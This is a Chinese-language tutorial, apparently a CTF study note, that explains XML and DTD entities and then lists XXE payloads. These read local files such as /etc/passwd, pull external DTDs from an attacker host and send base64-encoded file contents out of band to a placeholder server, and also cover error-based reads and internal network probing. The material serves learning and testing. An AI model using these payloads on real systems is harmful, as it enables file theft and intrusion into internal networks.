XML&XXE漏洞

Reference

CTF XXE - MustaphaMond - 博客园 (cnblogs.com)

XML

什么是XML

XML（Extensible Markup Language）是一种广泛使用的标记语言，它设计用于存储和传输数据。XML提供了一种既有结构又灵活的方式来描述数据和数据之间的关系，使其在各种应用程序和网络服务中都非常有用。它是自描述的，这意味着标签本身就能描述数据的内容。

XML与HTML间的区别

XML被设计为传输和存储数据，其焦点是数据的内容
HTML被设计用来显示数据，其焦点是数据的外观
HTML旨在显示信息，而XML旨在传输信息

XML文档结构

XML文档结构包括：

XML声明
DTD文档类型定义（可选）
文档元素

<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD，这部分可选的-->          
<!DOCTYPE bookstore [
  <!ELEMENT bookstore (book+)>
  <!ELEMENT book (title, author, year, price)>
  <!ATTLIST book category CDATA #REQUIRED>
  <!ELEMENT title (#PCDATA)>
  <!ELEMENT author (#PCDATA)>
  <!ELEMENT year (#PCDATA)>
  <!ELEMENT price (#PCDATA)>
]>

<!--文档元素-->                                                           <bookstore>
  <book category="cooking">
    <title>Everyday Italian</title>
    <author>Giada De Laurentiis</author>
    <year>2005</year>
    <price>30.00</price>
  </book>
  <book category="children">
    <title>Harry Potter</title>
    <author>J.K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
  </book>
</bookstore>

DTD

定义

XML的DTD（Document Type Definition）是一种用于定义XML文档结构的规范，它指定了文档中允许的元素、属性、实体和符合规范的XML文档应遵循的其他规则。

DTD可以存在于XML文档内部（内部DTD），也可以作为一个独立的外部文件（外部DTD）被多个XML文档共享。

主要组件

元素声明：定义文档中可以使用哪些元素以及这些元素的内容类型。例如：
1
<!ELEMENT book (title, author, year, price)>
这表示每个 <book> 元素必须包含一个 <title>、一个 <author>、一个 <year> 和一个 <price>。
属性声明：定义元素可以拥有的属性及其类型。例如：
1
<!ATTLIST book category CDATA #REQUIRED>
这表示 <book> 元素必须有一个 category 属性，其类型为字符数据（CDATA），并且该属性是必需的。
实体声明：定义常用数据的缩写。例如：
1
<!ENTITY publisher "John Wiley & Sons">
这允许在文档中多次引用 publisher 实体，而不是重复相同的文本。

实体声明

在XXE漏洞利用中，我们主要关注DTD中的实体声明方式

内部实体

内部实体可以理解为将特定的文本字符串赋值给一个名称，例如：

<!DOCTYPE note [
    <!ENTITY name "R1ck">
]>
<note>&a</note>

外部实体

外部实体引用外部资源，比如文件或是Web资源。这些实体的声明指向资源的URI。

<!DOCTYPE note [
    <!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&flag</note>

外部引用可支持http，file等协议，不同的语言支持的协议不同，但存在一些通用的协议，具体内容如下所示：

参数实体

参数实体也可以分为内部和外部

<!-- 内部参数实体 -->
<!ENTITY % entityName "entityValue">
<!-- 内部参数实体 -->
<!ENTITY % entityName SYSTEM "http://127.0.0.1/xml.dtd">

在DTD中引用参数实体时，使用 % 符号，并跟上实体的名称和分号，如下所示：

1	%entityName;

下面给出一个完整示例

<!ENTITY % commonAttrs "id ID #REQUIRED author CDATA #IMPLIED">
<!ELEMENT book (%commonAttrs;)>
<!ELEMENT magazine (%commonAttrs;)>
<!ELEMENT article (%commonAttrs;)>

需要注意的是参数实体与其他实体间在声明和引用方法上的区别

参数实体用% name声明，引用时用%name;，只能在DTD中申明，DTD中引用。
其余实体直接用name声明，引用时用&name;，只能在DTD中申明，可在xml文档中引用

局限性

DTD语法相对简单，不能定义一些更复杂的数据类型和约束。
不支持命名空间，这在处理来自不同来源的XML数据时可能会导致问题。
可能容易受到某些类型的XML攻击，如XML注入攻击。

尽管XML Schema（XSD）提供了比DTD更复杂和功能丰富的数据验证工具，但DTD仍然因其简单性和广泛的支持而被广泛使用。

XML外部实体注入(XML External Entity)

XML 外部实体注入（也称为 XXE）是一种 Web 安全漏洞，允许攻击者干扰应用程序对 XML 数据的处理。

XXE为什么不叫XEE，主要是第二个单词External也发x的音

我们可以根据XEE漏洞的危害场景来分类利用方法，XXE 可以用来泄露文件、执行服务器端请求伪造（SSRF）、内网探测、执行远程代码以及拒绝服务攻击等

任意文件读取

XXE 最常见的利用方式之一是访问本地文件，从而泄露敏感信息。攻击者可以通过定义外部实体来访问系统文件

当然，在任意文件读取场景下，还可以细分为有回显和无回显

有回显

恶意引入外部实体

通过引入靶机的本地文件作为外部实体，可以直接读取靶机文件

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ 
    <!ENTITY rabbit SYSTEM "file:///flag" >
]>
<user><username>&rabbit;</username><password>123</password></user>

恶意引入外部参数实体

我们也可以提前在dtd文件中将常见的敏感目录定义为外部实体，再通过外部参数实体引入

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
    %file;
]>
<test>&hhh;</test>

1	<!ENTITY hhh SYSTEM 'file:///etc/passwd'>

无回显

OOB

先使用php://filter获取目标文件的内容，然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
1
2
3
4
5
6
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>
evil.dtd的内容，内部的%号要进行实体编码成&#x25。

在XML中，当使用字符实体引用来表示特殊字符或者Unicode字符时，语法要求使用分号（;）来结束实体引用。
1
2
3
4
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;

基于报错

当然，如果靶机不允许与其他服务器通信，我们也可以通过报错来读取文件

与刚刚OOB的方法上只用细微的差别，即远程传输的url处构造一个错误的url

示例如下

1
2
3

<!-- xml.dtd -->
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;

如果靶机防火墙不允许我们请求外网服务器DTD，可以尝试在靶机的已知DTD文件中新增一些实体内容

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
	<!ENTITY % ISOamso '
		<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
		&#x25;eval;
		&#x25;send;
	'> 
	%remote;
]>
<message>1234</message>

已知/usr/share/yelp/dtd/docbookx.dtd文件中会调用%ISOamso，继而调用eval和send

内网探测

将URI改成内网机器地址，我们就可以探测靶机内网中的主机和文件

<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>